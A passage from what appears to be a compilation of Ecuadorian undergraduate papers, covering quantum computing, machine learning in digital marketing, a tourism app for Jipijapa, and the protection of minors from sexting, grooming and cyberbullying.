más efectivamente tareas que sus análogos clásicos. Es el inicio de una nueva tecnología, que va implicar cambios sustanciales en la forma de concebir la arquitectura de los ordenadores y de las operaciones a realizar y todo ello sustentado en el dominio de la materia a escala microscópica y el entendimiento más profundo de la teoría de la información y de la teoría de números.

A continuación se muestra una imagen de modelo cuántico que fueron creados por IBM. Aquí se muestran los avances que ha tenido la computación cuántica:

D-Wave 2x, el nuevo ordenador cuántico de la NASA y Google

CONCLUSIONES

El ordenador cuántico puede encontrar nuevas formas de modelar datos financieros y aislar factores de riesgo globales clave para realizar mejores inversiones y puede hacer que las facetas de la inteligencia artificial, como el aprendizaje automático, sean mucho más poderosas. La evolución que ha experimentado el campo de la computación cuántica en los últimos años, permite observar posibles ordenadores cuánticos, sus potencialidades en la resolución de tareas clásicas (como la factorización de números) y nuevas aplicaciones antes apenas sospechadas, como la simulación de la evolución de sistemas cuánticos, y nuevos algoritmos que realicen más efectivamente tareas que sus análogos clásicos.

REFERENCIAS BIBLIOGRÁFICAS

Bennett, b. (03 de 07 de 2002).

<https://francisthemulenews.wordpress.com/category/computacion-cuantica/>.

BONILLO, V. M. (7 de 04 de 2013).

www.lidiagroup.org/images/descargas/varios/011_ccuantica.pdf.

Miranda, N. D. (12 de 03 de 2002).

benasque.org/2011fronterascompu/talks_contr/192FCB_Cuantica.pdf.

Sort, p. (05 de 03 de 1991). [www. "Quantum Computing".t](http://www.quantumcomputing.org)

Visual.ht...: <http://discapacitadosalex.blogspot.com/2011/10/concepto-y-tipos-de-discapacidad-visual.html>

BIOGRAFIA DE AUTORES

Karina Mercedes Vélez Miraba, estudiante de la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias, en la Unidad Educativa Fiscal "ALEJO LASCANO" Jipijapa-Manabí-Ecuador.

Jonny Jacobo Paillacho Calo, estudiante de la Universidad Estatal del Sur de Manabí, Bachiller en Electromecánica Automotriz, en la Unidad Educativa "LUMBAQUI" Gonzalo Pizarro-Sucumbíos-Ecuador.

Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Omar Antonio Quimis Sanchez, Docente de la Universidad Estatal del Sur de Manabí.

AUTOMATIZACIÓN DEL MARKETING DIGITAL APLICANDO EL MACHING LEARNING

Piguave Peralta Dayana Lissette

Almea Pilay Wagner Elías

Johana Raque Pin de la Cruz

Ángel Enrique Espinoza Baque

Lcda. Kirenia Maldonado Zúñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

lissetteperalta1999@outlook.com

Teléfono: 0979151941

RESUMEN

Esta investigación se orientó en el machine learning que es una disciplina científica en el ámbito de inteligencia artificial que diseña sistemas, los cuales aprenden automáticamente. La tecnología ha evolucionado enormemente, una de las desventajas es que son pocas las corporaciones que cuentan con este software se deben a su elevado costo, hay compañías que lo utilizan debido a su buen financiamiento. La importancia de la investigación consiste en un sistema que libere el verdadero potencial estratégico y creativo de las empresas hacia los clientes, constantemente evoluciona la forma de hacer negocios en el mundo; El aprendizaje automático maximiza las ofertas en tiempo real, determinar la cantidad óptima a la hora de hacer una oferta. Su principal objetivo es establecer la automatización del marketing digital para hacer más eficiente los trabajos y enfocándolos en algo más prometedor a los clientes para llegar a la innovación, por ese motivo se realizó una investigación exploratoria haciendo el uso de los métodos científicos tales como: histórico-lógico, análisis-síntesis y bibliográfico. Los resultados obtenidos durante la investigación determinaron que la tecnología digital se está convirtiendo en una necesidad al momento de automatizar los procesos comerciales. El cual contribuyó a profundizar en el desarrollo de los temas a tratar los cuales no son muy común, y estos a su vez son aplicables en todos los ámbitos y sectores. En conclusión, se determinó que

el Marketing Digital aplicando el Machine Learning mejora el rendimiento de las tareas comunes de las empresas que están involucradas en marketing.

PALABRAS CLAVE: evolución; método; tiempo real, software.

ABSTRACT

This research was oriented in the machine learning that is a scientific discipline in the field of artificial intelligence that designs systems, which learn automatically. Technology has evolved enormously, one of the disadvantages is that few corporations have this software, it is due to its high cost, and there are companies that use it due to its good financing. The importance of the investigation consists of a system that liberates the true strategic and creative potential of the companies towards the clients, constantly evolves the form of doing business in the world; Machine learning maximizes offers in real time, determining the optimal amount when making an offer. Its main objective is to establish the automation of digital marketing to make more efficient the works and focusing on something more promising to the clients to arrive at the innovation, for that reason an exploratory research was made making use of the scientific methods such as: historical -logical, analysis-synthesis and bibliography. The results obtained during the investigation determined that digital technology is becoming a necessity when automating business processes. Which contributed to deepen the development of the topics to be discussed which are not very common, and these in turn are applicable in all areas and sectors. In conclusion it was determined that the Digital Marketing applying the Machine Learning improves the performance of the common tasks of the companies that are involved in marketing.

KEYWORDS: evolution; method; real time, software.

1. INTRODUCCIÓN

Aprender es natural para los seres humanos y animales, esta misma habilidad se pretende dar a las computadoras a través de machine learning (aprendizaje automático) es el subcampo de las ciencias de la computación y una rama de la inteligencia artificial que permite a las computadoras llevar a cabo diferentes tareas sin que estén explícitamente programadas la cual nació como una idea ambiciosa de la IA (inteligencia artificial) en la década de los 60.

Según (Garrido, 2018) Afirma “que los algoritmos de aprendizaje automático encuentran patrones naturales en los datos que generan una visión y entendimiento que te ayudan a tomar mejores decisiones y a conseguir predicciones”.

Según (Spero, 2018) El proceso de marketing se está simplificando con el aprendizaje automático, las personas siguen desempeñando una función esencial. El potencial del aprendizaje automático depende de la calidad de la información que se le proporcione. Los profesionales del marketing y las agencias deben acceder a los datos adecuados, identificar los objetivos de negocio más importantes, como el valor del tiempo de vida del cliente, y optimizar continuamente todo el recorrido de los clientes. Para ello, deben mejorar las páginas de destino de las tiendas de aplicaciones, las páginas principales de las aplicaciones, los flujos de usuarios y los eventos en las aplicaciones

Según (Alexa, 2018) Amazon Web Services es un servicio de computación en la nube que publica en países como Alemania, Francia, Japon entre otros que aprovechan la inversión masiva de la compañía en el cloud computing para ofrecer Amazon Machine Learning.

Puede apostar que Amazon Machine Learning está adaptando a los clientes la presentación de los productos en cada visita que realice a amazon.com que se dirige a un robot que le envía estos correos electrónicos de recomendación, también está presente en el frente de los asistentes virtuales.

Según (Moran, 2018) Sophi y Ada son dos de los 23 chatbots de bancos en América Latina, que la firma española Latina identificó en su informe Banca, nuevas formas de vida inteligente del 2018. Ecuador tiene casi el 10% de los chatbots hallados en la región, según el estudio.

Sin duda el mundo avanza y con ello la tecnología por lo que el marketing digital ha ido avanzando gracias a distintos software uno de estos es el Maching learning que crea estrategias de marqueteo digital para la promoción de un producto pero esto tiene sus pro y contra ya que al ser muy costoso solo es utilizado por empresas con mayores ingresos.

Teniendo como objetivo primordial determinar la automatización del marketing digital aplicando el machine learning, esto prometen mucho ya que cada día avanzan con pasos agigantados y más si van de la mano ya que es una nueva estrategia que las empresas utilizan para así hacer marqueteo y cautivar al cliente.

Es muy beneficioso ya que ayuda a empresarios a involucrarse más en el mundo de Marketing a través del Machine Lerning y esto les beneficia mucho brindándoles una interacción más directa entre el cliente y el producto.

3. MATERIALES Y MÉTODOS

Métodos

El aseguramiento metodológico está dado por la utilización del método de investigación teórico y empírico, entre los utilizados para el desarrollo de la investigación están los siguientes:

- **Histórico- Lógico**

Método de la investigación científica utilizada para el estudio de los antecedentes relacionados con la existencia de plataforma de transmisión por secuencia.

- **Análisis – Síntesis**

Se utilizó para desfragmentar el objeto entendido como un todo y particionado para sintetizar el sistema de relaciones que se da entre el problema el objeto y el campo.

- **Revisión Bibliográfica**

Complementa la aplicación del método histórico lógico.

4. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos en la investigación determinaron que la tecnología digital se está convirtiendo más que un lujo como una necesidad al momento de automatizar los procesos comerciales, un claro ejemplo es el marketing digital el cual en la actualidad está implementando tecnologías relacionadas a la inteligencia artificial para que los clientes tengan mayor comodidad. Se espera que el machine learning tenga cada vez mayores aplicaciones en el entorno profesional y se integre progresivamente en el comportamiento de las empresas.

5. CONCLUSIONES

En conclusión se determinó que el Marketing Digital aplicando el Machine Learning mejora el rendimiento de las tareas comunes de las empresas que están involucradas en marketing. En todo marketing se busca comprender mejor al cliente y predecir sus tendencias de comportamiento para así ofrecerles información, la personalización basada en la automatización es absolutamente clave para el éxito lo importante es que se entienda que hoy se puede utilizar el machine learning para analizar diferentes fuentes de datos y así maximizar la experiencia de cada cliente en un mercado dinámico que cambia a diario.

6. BIBLIOGRAFÍA

Ferro, L. Obtenido de (23 de Octubre de 2017). Iron-ai. Obtenido de <https://iron-ai.com/blog/2017/10/23/automatizacion-inteligencia-artificial-marketing-digital/>

- Garrido, J. (s.f.). Obtenido de (30 de Mayo de 2018). Medium. Obtenido de <https://medium.com/@gjavier.correo/machine-learning-aprendizaje-autom%C3%A1tico-en-el-marketing-digital-70c87092455d>
- G. Hinton., T. J. (1999). Obtenido de Unsupervised Learning and Map Formation: Foundations of Neural Computation, MIT Press, ISBN 0-262-58168-X.
- Lior R., O. M. (2008). Obtenido de Data mining with decision trees: theory and applications. World Scientific. ISBN 978-981-277-171-1.
- Mitchell, T. (1998, July). (s.f.). Obtenido de . Combining labeled and unlabeled data with co-training. In Proceedings of the eleventh annual conference on Computational learning theory (pp. 92-100). ACM.
- Samuel, A. L. (1959). Obtenido de . Some studies in machine learning using the game of checkers. IBM Journal of research and development, 3(3), 210-229.
- S. Kotsiantis . (2007). Obtenido de Supervisado Aprendizaje Automático: Una Revisión de la Clasificación de las técnicas de Informática Diario 31 pág. 249-268.
- Spero, J. (s.f.). Obtenido de (Febrero de 2018). Think with. Obtenido de <https://www.thinkwithgoogle.com/intl/es-es/canales-de-publicidad/movil/machine-learning-app-tools/>
- T. Menzies, Y. H. (s.f.). Obtenido de Data Mining For Busy People. IEEE Computer, Outubro de 2003, pgs. 18-25.

BIOGRAFÍA DE AUTORES

Dayana Lissette Piguave Peralta, Estudiante de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal Belisario Quevedo Jipijapa-Manabí-Ecuador.

Wagner Elías Almea Pilay, Estudiante de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Contabilidad en la Unidad Educativa Fiscal Dr. Eduardo Granja Garcés Pedro Carbo-Guayas-Ecuador.

Johanna Raquel Pin de la Cruz, Estudiante de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal Alejo Lascano Jipijapa-Manabí-Ecuador.

Ángel Enrique Espinoza Baque, Estudiante de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Técnico en Administración de Sistema en la Unidad Educativa Fiscal Alejo Lascano Jipijapa-Manabí-Ecuador.

Kirenia Maldonado Zuñiga. Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

APLICACIÓN WEB Y MÓVIL APLICADA EN LOS SECTORES TURÍSTICOS DEL CANTÓN JIPIJAPA

Kevin Leónidas García Rodríguez,

Kevin Alexander Minota Chere,

Bryan Alejandro Constante Murillo,

Rody Erick Choez Galarza,

Ing. Vicente Fray Romero Castro. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Kevincito_94@hotmail.com

RESUMEN

El propósito de la presente investigación es la implementación de una herramienta tecnológica que sirva de guía informativa y turística en la ciudad de Jipijapa. Es muy común hoy en día ver personas utilizar smartphone, Tablet o laptop, esto se da básicamente al gran crecimiento de las tecnologías, de las aplicaciones informáticas y móviles. Por esto fue la importancia de realizar la siguiente investigación sobre la creación de un aplicativo web y móvil de los lugares turísticos del cantón Jipijapa, la cual permitirá a las personas que deseen visitar la ciudad se informe previamente de los lugares turísticos y actividades que se realizan en cada uno de ellos con el fin de que los turistas aprovechen al máximo su visita y estadía en la ciudad. Entre los métodos que se utilizaron en la investigación están el histórico-lógico, análisis – síntesis, inducción – deducción, revisión-bibliográfica. Los resultados fueron los esperados la aplicación móvil funciono correctamente dando a conocer sus lugares turísticos. Se concluye que la aplicación web móvil desarrollada está enfocada a facilitar y dar a conocer el contenido informativo de los lugares turísticos de la ciudad de Jipijapa, de manera más rápida y efectiva.

PALABRAS CLAVE: aplicación web, aplicaciones informáticas, lugares turísticos, tecnologías.

ABSTRACT

The purpose of this research is the implementation of a technological tool that serves as an informative and tourist guide in the city of Jipijapa. Nowadays it is very common to see people using smartphones, tablets or laptops, this is basically due to the great growth of technologies, of computer and mobile applications. That is why it was important to carry out the following research on the creation of a web and mobile application of the tourist places of the Jipijapa canton, which will allow people who wish to visit the city to inform previously of the tourist

places and activities that are carried out in each of them in order that tourists make the most of their visit and stay in the city. Among the methods that were used in the research are the historical-logical, analysis-synthesis, induction-deduction, bibliographic-review. The results were the expected ones the mobile application worked correctly giving to know its tourist places. It is concluded that the developed mobile web application is focused on facilitating and making known the informative content of the tourist places of the city of Jipijapa, in a faster and more effective way.

KEYWORDS: computer applications, tourist places, technologies, web application.

1. INTRODUCCION

En la actualidad en internet y en las tiendas de aplicaciones móviles se encuentran un sin número de aplicaciones que sirven para consulta de lugares turísticos, la mayoría de estos tienen costo por su descarga, por lo tanto, esas aplicaciones no están a disposición de todas las personas.

El propósito del presente proyecto es la implementación de una herramienta tecnológica que sirva de guía informativa y turística y a su vez pueda ser implementada en plataformas de dispositivos móviles Android, esta permitirá tener información actualizada de todos los lugares turísticos de la ciudad de Jipijapa para brindar información única y precisa a las personas que visiten la ciudad.

Ya que en la actualidad no se cuenta con una aplicación que permita brindar información sobre la ciudad de Jipijapa a los visitantes y no se da a conocer los lugares que se encuentran en la ciudad, lo cual no favorece al fortalecimiento económico de la ciudad de Jipijapa.

2. DESARROLLO

Las aplicaciones web son sistemas informáticos que los usuarios pueden aprovechar mediante el uso de un navegador web en combinación con el internet o intranet, esta herramienta en la actualidad es una de las más populares debido al crecimiento de la tecnología, las mismas son codificadas en un lenguaje soportado por los navegadores como es: (HTML, JavaScript, Php, Java, Asp.net, entre otros), logrando que los usuarios accedan a la información de manera dinámica.

En la actualidad, la creación de las aplicaciones web ha evolucionado rápidamente desde el punto de vista de desarrollo y administración de sistemas, para la creación de software se han perfeccionado un sinnúmero de tecnologías frameworks, bibliotecas, aplicaciones

configurables entre otras, la administración de las mismas permite servicios de alojamiento, monitorización, gestión de la información, procesamiento de los datos.

De igual manera los fabricantes de dispositivos móviles han evolucionado notablemente en la última década, los teléfonos denominados smartphone y Tablet constituyen hoy en día una parte muy importante y mayoritaria en el mercado de los teléfonos inteligentes. Una buena parte del mercado utilizan un sistema operativo gratuito el cual su código fuente es completamente abierto, este sistema operativo está representado por una de las compañías más importantes del mundo.

El sistema operativo más usado en smartphone actualmente en el mundo no es una idea que se le ocurrió a alguien un día y tuvo un camino fácil para empezar a funcionar, sino que surge poco a poco y vive diferentes etapas hasta que el primer Android ve la luz.

Es así como nace Android. Android es un sistema operativo y una plataforma software, basado en Linux para teléfonos móviles. El sistema operativo de Google, Android, tiene varios años en el mercado y en este tiempo lo hemos visto evolucionar de una manera realmente impresionante, mediante las versiones que periódicamente saca al mercado Android es un claro ejemplo de todos los cambios que el sistema ha sufrido.

Una de las claves de la popularidad de Android es que, como Linux, es una plataforma de código abierto, lo que permite a fabricantes, operadores y desarrolladores dar mayor funcionalidad a su smartphone. Cinco millones de terminales al mes salen con Android, lo que no deja de preocupar a los que tienen su propio sistema cerrado, como Nokia (Symbian), Apple (iOS) o RIM (BlackBerry). Además, Android es un sistema gratuito y multiplataforma; por multiplataforma entendemos que el sistema operativo puede ser usado en distintas plataformas, y por plataforma entendemos que es una combinación de hardware y software usada para ejecutar aplicaciones; en su forma más simple consiste únicamente de un sistema operativo, una arquitectura, o una combinación de ambos. Android es gratuito al poder ir instalado gratuitamente en cualquier dispositivo móvil.(APP's, 2012)

Una aplicación móvil es un programa que usted puede descargar y al que puede acceder directamente desde su teléfono o desde algún otro aparato móvil. No todas las aplicaciones funcionan en todos los aparatos móviles. Cuando usted compra uno de estos aparatos debe usar el sistema operativo y el tipo de aplicaciones que corresponde a ese aparato. Los sistemas operativos móviles Android, Apple, Microsoft y BlackBerry tienen tiendas de aplicaciones que operan en línea en las cuales usted puede buscar, descargar e instalar las aplicaciones. Algunos

comerciantes minoristas también operan tiendas de aplicaciones en internet. Usted tendrá que usar una tienda que le ofrezca las aplicaciones que funcionen con el sistema operativo de su aparato. Para establecer una cuenta, es posible que tenga que suministrar el número de una tarjeta de crédito, especialmente si va a descargar una aplicación que no es gratis.(anonimo, 2011)

Las aplicaciones móviles se ofrecieron originalmente para la productividad general y recuperación de información, incluido el correo electrónico, calendario, contactos y mercado de valores. Sin embargo, la demanda pública y la disponibilidad de herramientas de desarrollo impulsaron la rápida expansión en otras categorías, como juegos móviles, automatización de fábricas, GPS y servicios basados en la ubicación, la banca, seguimientos de pedidos, compra de entradas y aplicaciones médicas móviles.

PHP lenguaje de programación, interpretado, diseñado originalmente para la creación de Páginas web dinámicas. Es usado principalmente en interpretación del lado del servidor pero actualmente puede ser utilizado desde una interfaz de línea de comandos o en la creación de otros tipos de programas incluyendo aplicaciones con interfaz gráfica usando las bibliotecas.

Fue uno de los primeros lenguajes de programación del lado del servidor que se podían incorporar directamente en el documento HTML.

PHP ha evolucionado por lo que ahora incluye también una interfaz de línea de comandos que puede ser usada en aplicaciones graficas independientes. Puede ser usado en la mayoría de los servidores web al igual que en casi todos los sistemas operativos y plataformas sin ningún costo. (ecured, s.f.)

HTML Lenguaje de Marcado para Hipertextos es el elemento de construcción más básico de una página web y se usa para crear y representar visualmente una página web. Determina el contenido de la página web, pero no su funcionalidad. Otras tecnologías distintas de HTML son usadas generalmente para describir la apariencia/presentación de una página web (CSS) o su funcionalidad (JavaScript).(Gabriel, 2017)

Javascript es un lenguaje interpretado para ser utilizado en página web y su sintaxis es similar a la del lenguaje Java. Se ha convertido en el lenguaje que contiene todas las funciones de programación que lleva el de la computación al navegador para mejorar la usabilidad de aplicaciones web con técnicas avanzadas.

3. MATERIALES Y METODOS

Los métodos que se utilizaron en la investigación fueron:

Histórico-lógico: se utilizó en la investigación para determinar la aplicación adecuada.

Análisis-síntesis: se utilizó en el desarrollo de la investigación.

Inducción-deducción: se realizó el estudio de los principales aspectos de la investigación para la elaboración de la aplicación.

Revisión-bibliográfica: se utilizó en la etapa de recopilación de información del tema para el proceso de elaboración de la investigación mediante libros web, sitios de carácter científico, internet, entre otros.

4. RESULTADOS Y DISCUSIÓN

Imagen 1: Páginas web del cantón Jipijapa

Imagen 2: Ubicación del cantón Jipijapa

Imagen 3: Ubicación más distanciada del cantón Jipijapa.

Cabe indicar que el presente proyecto consistió en el diseño e implementación de una página web y móvil de los sectores turísticos de Jipijapa, viendo la utilidad que representa hoy en día el uso del smartphone y como esto aportaría de manera positiva el desarrollo del turismo en Jipijapa.

Actualmente el escenario de desarrollo de aplicaciones web y móviles se ha extendido considerablemente, haciendo que los mismos se impongan como tendencias en el área de los desarrolladores de sistemas.

Una de las tantas ventajas que ofrece este producto es que da una información de la altitud y la longitud de donde se encuentra ubicado cada uno de estos sectores turísticos, su interfaz es muy fácil de manipular para los usuarios, además de ser un software dinámico.

5. CONCLUSIONES

- La aplicación web y móvil desarrollada está enfocada a facilitar y dar a conocer el contenido informativo de los lugares turísticos de la ciudad de Jipijapa, de manera más rápida, atractiva y sobre todo evitando pérdidas de tiempo al obtener esta información.
- La aplicación cuenta con geolocalización y proporciona una breve información de los atractivos turísticos y no turísticos de la ciudad.
- Se obtuvieron grandes conocimientos en el manejo de las tecnologías y se determinó que el sistema operativo Android es el más ventajoso para desarrollar aplicaciones móviles; por ser un sistema de código abierto, estar libre de licencias, no existir pago alguno por distribución o desarrollo, por encontrarse gran cantidad de información en Internet y ser el más utilizado en los dispositivos móviles por los fabricantes más reconocidos a nivel mundial.

6. RECOMENDACIONES

- Para un adecuado funcionamiento de la aplicación se debe utilizar un dispositivo móvil smartphone de alta gama con sistema operativo Android y tener acceso a internet para disfrutar de todas las funciones del proyecto. Podrá ser manejada por niños, jóvenes y adultos que estén familiarizados con la tecnología disponible en los dispositivos móviles inteligentes.
- Se recomienda a los visitantes de la ciudad, hacer uso de la página web en sus hogares para obtener información referente a la ciudad de Jipijapa de sus principales atracciones o lugares turísticos y dar un comentario de la página para ayudar a mejorarla y brindar una mejor experiencia para los visitantes de la ciudad.

REFERENCIAS BIBLIOGRÁFICAS

anonimo. (septiembre de 2011). *consumidor*. Obtenido de

<https://www.consumidor.ftc.gov/articulos/s0018-aplicaciones-moviles-que-son-y-como-funcionan>

APP's, S. y. (12 de diciembre de 2012). *museo informatica*. Obtenido de

<https://histinf.blogs.upv.es/2012/12/14/android/>

ecured. (s.f.). *ecured*. Obtenido de <https://www.ecured.cu/PHP>

Gabriel. (27 de noviembre de 2017). *mozi//a*. Obtenido de

<https://developer.mozilla.org/es/docs/Web/HTML>

BIOGRAFÍAS DE AUTORES

Bryan Alejandro Constante Murillo, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí.

Kevin Leónidas García Rodríguez, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí.

Rody Erick Chóez Galarza, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí.

Kevin Alexander Minota Chere, Estudiante de la carrera de Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí.

Vicente Fray Romero Castro MG.SIG, Magister en Sistemas de Información Gerencial, Ingeniero en Sistemas. Docente de la Universidad Estatal del Sur de Manabí.

ANÁLISIS DE AMENAZAS A LOS MENORES EN LA WEB: SEXTING, GROOMING Y CYBERBULLYING

José Patricio Intriago Mera,
Guadamud Moreira Marlon Steven,
Moreira Briones Néstor Israel,
Rivera Vélez Erick Fabricio,
Ing. Vicente Fray Romero Castro. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

joseintriago31@gmail.com

RESUMEN

En la actualidad el uso de internet tiene una gran demanda por lo se desarrollara un análisis sobre el uso de las redes sociales, el daño que le causa a un menor de edad, el fácil acceso y el anonimato que proporcionan las redes sociales permitiendo que muchas personas hagan mal uso de esto, tanto que el sexting, el grooming, el cyberbullying se han vuelto tendencia esto no solo afecta adultos si no a menores de edad que ellos con más inocencia caen más rápido en todo esto, el sexting es uno de los problemas más grande de las redes sociales cada vez aumentan más entre la población, el sexting es el envío de fotos videos y acoso sexuales enviadas voluntariamente actualmente 9 de cada 10 menores de edad tiene un teléfono celular y por la falta de supervisión del padre de familia este problema crece cada día más; el grooming o también conocido como abuso sexual de parte de adultos a menores de edad se realiza por redes sociales o dentro de la red este es una persona con perfil falso que se hace pasar por niños para raptárselos y abusar de ellos sexualmente; el cyberbullying en las redes puede aparecerse de diferentes formas como en amenazas, burlas, ofensas, racismo y muchas situaciones más que esto puede provocar que los menores de edad busquen no salir de su casa por miedo que les hagan algo o incluso por medio de esto los lleva a suicidarse.

PALABRAS CLAVE: cyberbullying, redes sociales, sexting, grooming,

ABSTRACT

Currently the use of the internet is in great demand, so an analysis will be developed on the use of social networks, the damage caused to a minor, the easy access and the anonymity provided by social networks allowing many people make misuse of this, so much that sexting, grooming, cyberbullying have become a trend this not only affects adults but also minors who more innocent fall faster in all this, sexting is one of the The biggest problems of social networks are

increasing more and more among the population, sexting is the sending of photos videos and sexual harassment sent voluntarily now 9 out of 10 minors have a cell phone and due to the lack of supervision of the parent this problem grows every day more; Grooming or also known as sexual abuse on the part of adults to minors is done through social networks or within the network. This is a person with a false profile who pretends to be children to kidnap them and abuse them sexually; cyberbullying in the networks can appear in different ways such as threats, ridicule, offenses, racism and many more situations that can cause minors to try not to leave their home for fear they do something or even through this It leads them to commit suicide.

KEYWORDS: cyberbullying, grooming, sexting, social networks.

1. INTRODUCCIÓN

Una de las maneras de llegar a intimidar a un menor de edad son por las redes sociales, esto cada día toma más fuerza, pero de algo que no nos damos cuenta que uno como padre tiene culpa por comprarles a tan corta edad un teléfono celular, tablets, etc., con la única intención de que nuestros hijos no nos molesten mientras hacemos una actividad, sin pensar que le estaríamos quitando la vida lentamente, al darle un aparato electrónico a nuestros hijos debemos aconsejarlos para que no hagan mal uso de esto.

A esta manera de acoso producido por medio de la web se lo llama cyberbullying, cyberacoso o bullying virtual, se caracteriza por la manera en que el agresor se vale de estas herramientas para maltratar, amenazar, acosar, etc. A más personas, el agresor es el encargado de enviar correos maliciosos, mensajes obscenos, críticas, burlas, etc. Y publicarlos en redes sociales para que este se difunda rápidamente, usualmente las víctimas suelen ser menores de edad.

Según Cléo Fante, esta es la manera más maliciosa de intimidación, debido a que aumenta notablemente la exposición y el sufrimiento de quien es víctima. Con un solo clic, el mensaje puede llegar al mundo entero y no solamente a quienes estuvieron presentes durante la agresión. Se pierde la sensación de poder escapar de esta clase de violencia.

Según Rubén Darío Morales, lo recomendable es hacer un programa de prevención de intimidación escolar virtual e incluir a los diferentes actores de la comunidad educativa. “Con los estudiantes más pequeños, utilizamos un cuento que nos permite interactuar de una manera más divertida. El mensaje es fomentar un uso ético de Internet”.

Nosotros como padres de familia no podemos vivir al margen de lo que sucede alrededor de nuestros hijos en las redes sociales, tenemos que enseñarles cómo utilizarlo para que no sufran de estos acosos ya sea esto por mensajes que se envían, por fotos que se publican, por videos que se comparten y así un sinnúmero de opciones más que cada día se vuelven más constantes en la vida.

Según (Amiga, 2010), El Observatorio de la Seguridad de la Información del Instituto Nacional de Tecnologías de la Comunicación (INTECO) publicó en 2009 el: “Estudio sobre hábitos seguros en el uso de las TIC por niños y adolescentes y e-confianza de sus padres”, en el que se presentaron los datos de una encuesta realizada a jóvenes de entre 10 y 16 años y a sus padres o tutores sobre su uso de las TIC. Las tasas de incidencia directa de cyberbullying pasivo (5,9%) y activo (2,9%) no son nada despreciables, aunque reducidas en comparación con otras incidencias que sufren los menores en relación con las TIC (como riesgos técnicos, pérdida de privacidad, el acceso a contenidos inapropiados, fraudes económicos, etc.). En todos y cada uno de los comportamientos analizados, los padres manifiestan un nivel de incidencia directa inferior al declarado por sus hijos; es decir, los hijos reconocen haber experimentado estas situaciones en mayor medida de lo que los padres conocen. Esto puede suponer un indicio del poco conocimiento que los padres tienen sobre los mismos y su incidencia y, por tanto, de la necesidad de acciones de formación y sensibilización orientadas a una mejora en el conocimiento de la red por parte de los padres y del comportamiento de sus hijos en Internet

2. DESARROLLO

¿Qué es el Grooming?

Según (Bortnik, 2016), “El grooming conocido también como engaño pederasta son diversas acciones tomadas por un adulto contra la integridad de un menor de edad, estas acciones podrían ser tomadas como el abuso sexual mediante la red ganándose la confianza del menor y así podría atentar contra él, en la pornografía infantil”.

Este caso de grooming en la actualidad es muy común por el impacto que tiene ahora el internet y con una mayor facilidad de poder tenerlo en casa.

Según (Bortnik, 2016), “Ahora los niños son muy vulnerables porque no cuentan con la vigilancia de un mayor de edad en el uso de dispositivos que puedan afectar la integridad de ellos, ahora en los sitios de internet se encuentra muchos peligros a los cuales se encuentran expuestos”.

Desde una simple cuenta de Facebook hasta un mensaje de texto ahora son diversas las formas de gente maliciosa que con tal de conseguir material nuevo hacen o buscan la manera de poder hacer daño, y así ellos podrían beneficiarse.

(Markers, 2017), nos hace referencia a que” También cabe recalcar que lo que buscan estas personas es solo tener contenido sexual de los niños para ellos poder venderlo en el mercado negro y así llenar su bolsillo sin saber el daño que causan aparte otra gran parte lo hace para tener relaciones sexuales”.

Este un problema no solo nacional, esto es un problema que se encuentra a nivel mundial y diariamente son muchos los niños afectados por estas personas mal intencionadas.

Según (Bortnik, 2016), En este caso no hay que entrar en pánico y prohibir el uso de las redes sociales, aquí lo que cuenta es enseñarles el manejo correcto a los niños y niñas para que así no sean fácilmente engañados y no caigan en las manos perversas de estos psicópatas de la red que no buscan nada bueno de esto.

El grooming básicamente se basa en 2 partes que son: el engaño y el chantaje

Según (Markers, 2017), El engaño se basa en que la persona que está detrás de una red social se disfraza de una persona joven atractiva y es ahí donde la víctima en este caso los menores caen en la trampa al pensar que es un posible novio o un amigo al cual podrían conocer.

El chantaje se trata de conseguir algún tipo de información de la víctima de esta manera la dinámica va a ser siempre la misma si no lo haces le publicare tus fotos o le diré a sus padres o tus amigos lo que me contaste el otro día, esta es otra manera muy común en estas personas.

¿Qué se puede hacer uno en estos casos?

Según (Markers, 2017), por parte del engaño es fácil descubrir que te están engañando por que usan cuentas falsas en las cuales se puede apreciar fácilmente la falsedad de la red social de donde te escriben porque hay cosas, fotos en donde aparece mucha gente y no se puede observar al agresor aparte de que es una cuenta con muy pocos amigos. Esta es una manera de saber si te están engañando. Además, nunca hay que acudir a citas con personas que se conocen por internet y muchos menos a lugares que no tengan mucha concurrencia de personas porque este es uno de los métodos de secuestro y de abuso sexual.

Según (Markers, 2017), mientras que por parte del chantaje dar información de carácter muy personal a gente que no conoces es darle poder es decir que no vale la pena contar secretos o

enviar fotos comprometedoras cuando no tenemos la suficiente confianza o no conocemos personalmente a la persona que está del otro lado. Pero también existen personas que se saben ganar muy bien la confianza de los menores y en este caso ya entraría la confianza del menor con los padres para así poder contarles a ellos lo que hacen mediante las redes sociales a quien conocen o con quien se escriben.

En este caso se vale chatear conocer gente nueva pero hay que usar el sentido común para no caer en manos de gente que solo busca lucrarse por medio de menores inocentes. (Bortnik, 2016) Dice otra cosa que piensan los padres es que los niños no necesitan nuestra ayuda que todo lo tienen claro con el uso de la tecnología pero no es así, es ahí donde ellos más necesitan de los padres para poder aconsejarlos enseñarles el uso correcto para guiarlos de manera que no caigan en manos de criminales.

